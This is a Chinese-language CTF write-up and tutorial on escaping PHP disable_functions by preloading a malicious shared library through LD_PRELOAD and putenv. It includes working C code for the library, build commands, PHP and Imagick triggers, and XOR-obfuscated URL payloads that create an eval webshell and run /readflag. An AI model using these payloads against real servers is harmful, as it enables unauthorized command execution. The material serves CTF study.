基于劫持启动进程BypassDisablefuc

文章发布时间:

最后更新时间:

文章总字数:
1.3k

预计阅读时间:
5 分钟

Bypass_disablefunc via LD_PRELOAD

背景

在做ctf题的时候,千辛万苦获得了webshell,蚁剑也连接上了,但是查看不了其他目录,也看不了文件,很有可能是open basedirdisablefunc的设置导致。这时候我们查看phpinfo(养成rce前先查阅phpinfo的好习惯),发现果然如此,与系统命令相关的函数全被禁止(例如[极客大挑战 2019]RCE ME)。这时候我们也许可以直接用蚁剑的bypass插件逃课,但是这种方法成功率较低,本篇介绍正规方法:使用LD_PRELOADputenv来劫持进程,从而命令执行。

LD_PRELOAD&putenv

首先,什么是LD_PRELOAD?

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

也就是说LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用,而putenv可以设置环境变量,如果putenv没有被过滤(一般情况下disablefunc都不会过滤该函数),就可以通过如下操作来rce:

  1. 用c语言编译一个恶意的可以执行命令的so文件
  2. 在php文件中使用putenv设置LD_PRELOAD为恶意文件路径
  3. 使用某个php函数,触发shared library,从而成功rce

如何找到合适的php函数

传统方法:劫持mail函数

1
2
3
<?php
mail('','','','');
?>

strace一下,可以看到运行这个脚本的时候,程序会启动子进程来调用sendmail,有很多函数可以可以使用,这里可以选择getuid(),然后编写一个c文件:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls /");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

注意这里的unset是为了防止形成死循环。然后用gcc编译成so,运行php脚本即可执行系统命令。

1
2
3
4
5
6
7
8
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so


<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

改进方法:劫持启动进程

之所以劫持 getuid(),是因为 sendmail 程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:一是某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid()。二是即使目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。

于是我们放弃劫持某一个特定的函数,而是直接劫持启动进程,在加载时就执行代码。

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

但是依然要找到一个函数来启动系统进程,通常题目如果禁掉mail就会有所提示别的函数(例如0ctf wallbreaker中的imagick)。

做题流程

yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) (github.com)

直接将这个bypass的so上传到服务器,再通过webshell执行php命令就行了。

0CTF-2019 Wallbreaker

这题因为给了我们webshell,我们可以在/tmp/md5($_SERVER['REMOTE_ADDR'])/路径下写文件,但是不能执行系统函数,题目告诉我们要想办法去执行/readflag文件。

做法就是先上传一个.so文件

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag.txt");
}

通过这个文件中包含的函数来执行任意指令。 然后因为Imagick在将bmp编码的图片文件转换为wdp编码的文件的时候,会触发一个新进程,从而就可以执行.so文件中的恶意函数了

1
2
3
$a=new Imagick();
$a->readImage('123.png');
$a->writeImage('sad.wdp'); //触发新进程

再读取目录下的flag.txt就行。

[极客大挑战 2019]RCE ME1

还顺带附加了点无字符命令执行,用异或绕过,写shell:

1
2
?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

用蚁剑连接后tmp文件夹有上传权限,可以直接上传github那个so和php文件,然后include进来输参数即可获得flag。

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20230721122143203